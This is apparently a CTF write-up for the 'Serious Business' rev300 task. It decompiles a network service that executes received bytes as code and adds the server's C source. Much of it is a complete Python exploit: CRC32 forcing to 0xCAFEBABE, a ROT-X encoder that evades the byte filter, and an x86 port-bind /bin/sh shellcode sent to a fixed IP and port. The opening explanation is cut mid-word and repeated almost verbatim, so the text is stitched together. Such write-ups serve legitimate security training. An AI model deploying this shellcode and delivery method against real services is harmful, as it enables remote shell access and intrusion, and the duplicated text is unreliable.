Task is called Serious Business, a
inary file rev300_f3c8cc9.elf and address/port with service.
After disassembling and restoring the important functions from the binary, it became clear how to solve this task. By the way this task is also could be in Pwn category.
I've renamed some variables:
As you can see in the handler function there is a possibility to pass binary instructions in buf and execute them.
But to reach this line of code it is required:
1) A first recv() return value (size of received data) must be equal to 4 bytes.
2) A buf_size value received from first recv() must be less or equal 200.
In other words buf_size is shellcode_size.
3) A CRC32 of a buf value received from a second recv() must be equal to 0xCAFEBABE in hex.
The buf here is our shellcode.
So we need to send 4 bytes (int value) with size of shellcode, and then send shellcode itself (with correct CRC32 value). I've found that it is possible to force CRC32 to any value from data by adding 4 bytes to this data.
To bypass filter I've used ROT-X shellcode encoding.
As a shellcode I've chosen a port bind shellcode from http://shell-storm.org/
Final script to solve this task:
After executing the script, I've connected to 78.46.101.237:64713 where a shell was opened.
In the directory I've found a flag file and other files. So I've got the flag:
cat flag
STUDY_HACK_BINARY_AND_BE_HAPPY
Success! :)
P.S. I've also read a source code of rev300.cpp:
inary file rev300_f3c8cc9.elf and address/port with service.
After disassembling and restoring the important functions from the binary, it became clear how to solve this task. By the way this task is also could be in Pwn category.
I've renamed some variables:
int filter(char *buf, int size) { int i; for (i = 0; i < size; ++i) { if (buf[i] == 1 || buf[i] == 0 || buf[i] == 47 || buf[i] == 115 || buf[i] == 104) return 0; } return 1; }
ssize_t handler(int fd) { ssize_t result; unsigned int buf_size; int v3; char *buf; int v5; buf_size = 0; setuid(1000); seteuid(1000); setgid(1000); setegid(1000); result = recv(fd, &buf_size, 4, 0); if (result == 4) { result = buf_size; if (buf_size <= 200) { buf = (char *)mmap(0, buf_size, 7, 33, -1, 0); v3 = recv(fd, buf, buf_size, 0); result = crc32(0, buf, buf_size); v5 = result; if (result == 0xCAFEBABE) { result = filter(buf, buf_size) ^ 1; if (!(_BYTE)result) result = ((int (*)(void))buf)(); } } } return result; }
As you can see in the handler function there is a possibility to pass binary instructions in buf and execute them.
But to reach this line of code it is required:
1) A first recv() return value (size of received data) must be equal to 4 bytes.
2) A buf_size value received from first recv() must be less or equal 200.
In other words buf_size is shellcode_size.
3) A CRC32 of a buf value received from a second recv() must be equal to 0xCAFEBABE in hex.
The buf here is our shellcode.
4) The buf must not contain 0x1, 0x0, '/', 's', 'h' chars.
So we need to send 4 bytes (int value) with size of shellcode, and then send shellcode itself (with correct CRC32 value). I've found that it is possible to force CRC32 to any value from data by adding 4 bytes to this data.
To bypass filter I've used ROT-X shellcode encoding.
As a shellcode I've chosen a port bind shellcode from http://shell-storm.org/
Final script to solve this task:
import socket import struct # Ported to Python code from: # http://ideone.com/Wfjfum CRCPOLY = 0xEDB88320 CRCINV = 0x5B358FD3 # inverse poly of (x^N) mod CRCPOLY INITXOR = 0xFFFFFFFF FINALXOR = 0xFFFFFFFF def make_crc_table(table): c = 0 for n in xrange(256): c = n for k in xrange(8): if (c & 1) != 0: c = CRCPOLY ^ (c >> 1) else: c = c >> 1 table[n] = c def make_crc_revtable(table): for n in xrange(256): c = n << 3 * 8 for k in xrange(8): if (c & 0x80000000) != 0: c = ((c ^ CRCPOLY) << 1) | 1 else: c <<= 1 table[n] = c def crc32_tabledriven(buf, length, crc_table): crcreg = INITXOR for i in xrange(length): crcreg = (crcreg >> 8) ^ crc_table[((crcreg ^ ord(buf[i])) & 0xFF)] return crcreg ^ FINALXOR def fix_crc_pos(buf, length, tcrcreg, fix_pos, crc_table, crc_revtable): # make sure fix_pos is within 0..(length -1) fix_pos = ((fix_pos % length) + length) % length # calculate crc register at position fix_pos; this is essentially crc32() crcreg = INITXOR for i in xrange(fix_pos): crcreg = (crcreg >> 8) ^ crc_table[((crcreg ^ ord(buf[i])) & 0xFF)] # inject crcreg as content for i in xrange(4): buf[fix_pos + i] = chr((crcreg >> i * 8) & 0xFF) # calculate crc backwards to fix_pos, beginning at the end tcrcreg ^= FINALXOR for i in xrange(length - 1, fix_pos - 1, -1): tcrcreg = (tcrcreg << 8) ^ crc_revtable[(tcrcreg >> 3 * 8) & 0xff] ^ ord(buf[i]) # inject new content for i in xrange(4): buf[fix_pos + i] = chr((tcrcreg >> i * 8) & 0xFF) # fill crc32 table and crc32 reverse table crc32_tab = [0 for _ in xrange(256)] crc32_tab_reverse = [0 for _ in xrange(256)] make_crc_table(crc32_tab) make_crc_revtable(crc32_tab_reverse) def enc_shellcode_using_rot_x(shellcode, rot_x): """Encode shellcode using ROT-X value""" # Modified shellcode ROT-X decoder for Linux Intel/x86 from: # http://shell-storm.org/shellcode/files/shellcode-900.php encoded_shellcode = '' for c in bytearray(shellcode): if c > 255 - rot_x: encoded_shellcode += '%c' % (rot_x - (256 - c)) else: encoded_shellcode += '%c' % (c + rot_x) rot_decoder = '\xeb\x25\x5e\x31\xc9\xb1' + chr(len(shellcode)) + '\x80\x3e' + chr(rot_x) + \ '\x7c\x05\x80\x2e' + chr(rot_x) + '\xeb\x11\x31\xdb\x31\xd2\xb3' + chr(rot_x) + \ '\xb2\xff\x66\x42\x2a\x1e\x66\x29\xda\x88\x16\x46\xe2\xe2\xeb\x05\xe8\xd6\xff\xff\xff' return rot_decoder + encoded_shellcode def filter_check(data): """Filter func""" for c in data: if ord(c) in [0x00, 0x01, 0x2F, 0x73, 0x68]: return 0 return 1 def crc32(data): """CRC32 function""" crc = 0xFFFFFFFF for c in data: crc = crc32_tab[((crc) ^ ord(c)) & 0xff] ^ (((crc) >> 8) & 0xffffff) return ~crc def force_crc32(data, crc32_value): """Force data to CRC32 value by appending four bytes to data""" new_data = list(data + '\x00\x00\x00\x00') fix_crc_pos(new_data, len(new_data), crc32_value, len(new_data) - 4, crc32_tab, crc32_tab_reverse) new_data_crc32 = crc32_tabledriven(new_data, len(new_data), crc32_tab) if crc32_value != new_data_crc32: print 'Failed to force data to CRC32!' exit() return new_data def main(): # Portbind shellcode 86 bytes for Linux/x86 from # http://shell-storm.org/shellcode/files/shellcode-252.php shellcode = ( # socket(AF_INET, SOCK_STREAM, 0) "\x6a\x66" # push $0x66 "\x58" # pop %eax "\x6a\x01" # push $0x1 "\x5b" # pop %ebx "\x99" # cltd "\x52" # push %edx "\x53" # push %ebx "\x6a\x02" # push $0x2 "\x89\xe1" # mov %esp,%ecx "\xcd\x80" # int $0x80 # bind(s, server, sizeof(server)) "\x52" # push %edx "\x66\x68\xfc\xc9" # pushw $0xc9fc // PORT = 64713 "\x66\x6a\x02" # pushw $0x2 "\x89\xe1" # mov $esp,%ecx "\x6a\x10" # push $0x10 "\x51" # push %ecx "\x50" # push %eax "\x89\xe1" # mov %esp,%ecx "\x89\xc6" # mov %eax,%esi "\x43" # inc %ebx "\xb0\x66" # mov $0x66,%al "\xcd\x80" # int $0x80 # listen(s, anything) "\xb0\x66" # mov $0x66,%al "\xd1\xe3" # shl %ebx "\xcd\x80" # int $0x80 # accept(s, 0, 0) "\x52" # push %edx "\x56" # push %esi "\x89\xe1" # mov %esp,%ecx "\x43" # inc %ebx "\xb0\x66" # mov $0x66,%al "\xcd\x80" # int $0x80 "\x93" # xchg %eax,%ebx # dup2(c, 2) , dup2(c, 1) , dup2(c, 0) "\x6a\x02" # push $0x2 "\x59" # pop %ecx "\xb0\x3f" # mov $0x3f,%al "\xcd\x80" # int $0x80 "\x49" # dec %ecx "\x79\xf9" # jns dup_loop # execve("/bin/sh", ["/bin/sh"], NULL) "\x6a\x0b" # push $0xb "\x58" # pop %eax "\x52" # push %edx "\x68\x2f\x2f\x73\x68" # push $0x68732f2f "\x68\x2f\x62\x69\x6e" # push $0x6e69622f "\x89\xe3" # mov %esp, %ebx "\x52" # push %edx "\x53" # push %ebx "\x89\xe1" # mov %esp, %ecx "\xcd\x80" # int $0x80 ) full_shellcode = enc_shellcode_using_rot_x(shellcode, 12) sc_with_crc32 = ''.join(force_crc32(full_shellcode, 0xcafebabe)) if (0xffffffff + crc32(sc_with_crc32) + 1 if crc32(sc_with_crc32) < 0 else crc32(sc_with_crc32)) != 0xcafebabe: print 'CRC32 != 0xcafebabe' exit() if filter_check(sc_with_crc32) != 1: print 'Filter check failed' exit() # connect and send final shellcode s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('78.46.101.237', 3177)) length = struct.pack('<I', len(sc_with_crc32)) s.send(length) s.send(sc_with_crc32) if __name__ == '__main__': main()
After executing the script, I've connected to 78.46.101.237:64713 where a shell was opened.
In the directory I've found a flag file and other files. So I've got the flag:
cat flag
STUDY_HACK_BINARY_AND_BE_HAPPY
Success! :)
P.S. I've also read a source code of rev300.cpp:
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> #include <arpa/inet.h> #include <sys/wait.h> #include <sys/mman.h> #include <signal.h> #define PORT "3177" // the port users will be connecting to #define BACKLOG 10 // how many pending connections queue will hold void sigchld_handler(int s){ // waitpid() might overwrite errno, so we save and restore it: int saved_errno = errno; while(waitpid(-1, NULL, WNOHANG) > 0); errno = saved_errno; } void *get_in_addr(struct sockaddr *sa){ if (sa->sa_family == AF_INET) { return &(((struct sockaddr_in*)sa)->sin_addr); } return &(((struct sockaddr_in6*)sa)->sin6_addr); } void handler(int sock); int main(void){ int sockfd, new_fd; // listen on sock_fd, new connection on new_fd struct addrinfo hints, *servinfo, *p; struct sockaddr_storage their_addr; // connector's address information socklen_t sin_size; struct sigaction sa; int yes=1; char s[INET6_ADDRSTRLEN]; int rv; memset(&hints, 0, sizeof hints); hints.ai_family = AF_UNSPEC; hints.ai_socktype = SOCK_STREAM; hints.ai_flags = AI_PASSIVE; // use my IP if ((rv = getaddrinfo(NULL, PORT, &hints, &servinfo)) != 0) { fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(rv)); return 1; } // loop through all the results and bind to the first we can for(p = servinfo; p != NULL; p = p->ai_next) { if ((sockfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) { perror("server: socket"); continue; } if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1) { perror("setsockopt"); exit(1); } if (bind(sockfd, p->ai_addr, p->ai_addrlen) == -1) { close(sockfd); perror("server: bind"); continue; } break; } freeaddrinfo(servinfo); // all done with this structure if (p == NULL) { fprintf(stderr, "server: failed to bind\n"); exit(1); } if (listen(sockfd, BACKLOG) == -1) { perror("listen"); exit(1); } sa.sa_handler = sigchld_handler; // reap all dead processes sigemptyset(&sa.sa_mask); sa.sa_flags = SA_RESTART; if (sigaction(SIGCHLD, &sa, NULL) == -1) { perror("sigaction"); exit(1); } printf("server: waiting for connections...\n"); while(1) { // main accept() loop sin_size = sizeof their_addr; new_fd = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size); if (new_fd == -1) { perror("accept"); continue; } inet_ntop(their_addr.ss_family, get_in_addr((struct sockaddr *)&their_addr),s, sizeof s); printf("server: got connection from %s\n", s); if (!fork()) { // this is the child process close(sockfd); // child doesn't need the listener handler(new_fd); // if (send(new_fd, "Hello, world!", 13, 0) == -1) // perror("send"); close(new_fd); exit(0); } close(new_fd); // parent doesn't need this } return 0; } #include <sys/param.h> static uint32_t crc32_tab[] = { 0x00000000, 0x77073096, 0xee0e612c, 0x990951ba, 0x076dc419, 0x706af48f, 0xe963a535, 0x9e6495a3, 0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988, 0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91, 0x1db71064, 0x6ab020f2, 0xf3b97148, 0x84be41de, 0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7, 0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec, 0x14015c4f, 0x63066cd9, 0xfa0f3d63, 0x8d080df5, 0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172, 0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b, 0x35b5a8fa, 0x42b2986c, 0xdbbbc9d6, 0xacbcf940, 0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59, 0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116, 0x21b4f4b5, 0x56b3c423, 0xcfba9599, 0xb8bda50f, 0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924, 0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d, 0x76dc4190, 0x01db7106, 0x98d220bc, 0xefd5102a, 0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433, 0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818, 0x7f6a0dbb, 0x086d3d2d, 0x91646c97, 0xe6635c01, 0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e, 0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457, 0x65b0d9c6, 0x12b7e950, 0x8bbeb8ea, 0xfcb9887c, 0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65, 0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2, 0x4adfa541, 0x3dd895d7, 0xa4d1c46d, 0xd3d6f4fb, 0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0, 0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9, 0x5005713c, 0x270241aa, 0xbe0b1010, 0xc90c2086, 0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f, 0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4, 0x59b33d17, 0x2eb40d81, 0xb7bd5c3b, 0xc0ba6cad, 0xedb88320, 0x9abfb3b6, 0x03b6e20c, 0x74b1d29a, 0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683, 0xe3630b12, 0x94643b84, 0x0d6d6a3e, 0x7a6a5aa8, 0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1, 0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe, 0xf762575d, 0x806567cb, 0x196c3671, 0x6e6b06e7, 0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc, 0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5, 0xd6d6a3e8, 0xa1d1937e, 0x38d8c2c4, 0x4fdff252, 0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b, 0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60, 0xdf60efc3, 0xa867df55, 0x316e8eef, 0x4669be79, 0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236, 0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f, 0xc5ba3bbe, 0xb2bd0b28, 0x2bb45a92, 0x5cb36a04, 0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d, 0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a, 0x9c0906a9, 0xeb0e363f, 0x72076785, 0x05005713, 0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38, 0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21, 0x86d3d2d4, 0xf1d4e242, 0x68ddb3f8, 0x1fda836e, 0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777, 0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c, 0x8f659eff, 0xf862ae69, 0x616bffd3, 0x166ccf45, 0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2, 0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db, 0xaed16a4a, 0xd9d65adc, 0x40df0b66, 0x37d83bf0, 0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9, 0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6, 0xbad03605, 0xcdd70693, 0x54de5729, 0x23d967bf, 0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94, 0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d }; uint32_t crc32(uint32_t crc, char *buf, size_t size) { const char *p; p = buf; crc = crc ^ ~0U; while (size--) crc = crc32_tab[(crc ^ *p++) & 0xFF] ^ (crc >> 8); return crc ^ ~0U; } bool filter(char * mem,int size){ for (int i=0; i<size; i++){ if (mem[i] == 0x80 || mem[i] == 0xCD || mem[i] == 0x01 || mem[i] == 0x00 || mem[i] == '/' || mem[i] == 's' || mem[i] == 'h') return false; } return true; } void handler(int sock){ unsigned int len=0; char * buf; setuid(1000); seteuid(1000); setgid(1000); setegid(1000); int num_recv = recv(sock, ((char *) &len), 4, 0); if (num_recv != 4 || len > 200) return; char * mem = (char *)mmap(0, len , PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_ANON, -1, 0); num_recv = recv(sock, mem, len, 0); unsigned int sum = crc32(0,mem,len); if (sum != 0xCAFEBABE) return; if (!filter(mem,len)) return; (*(void (*)()) mem)(); }
No comments:
Post a Comment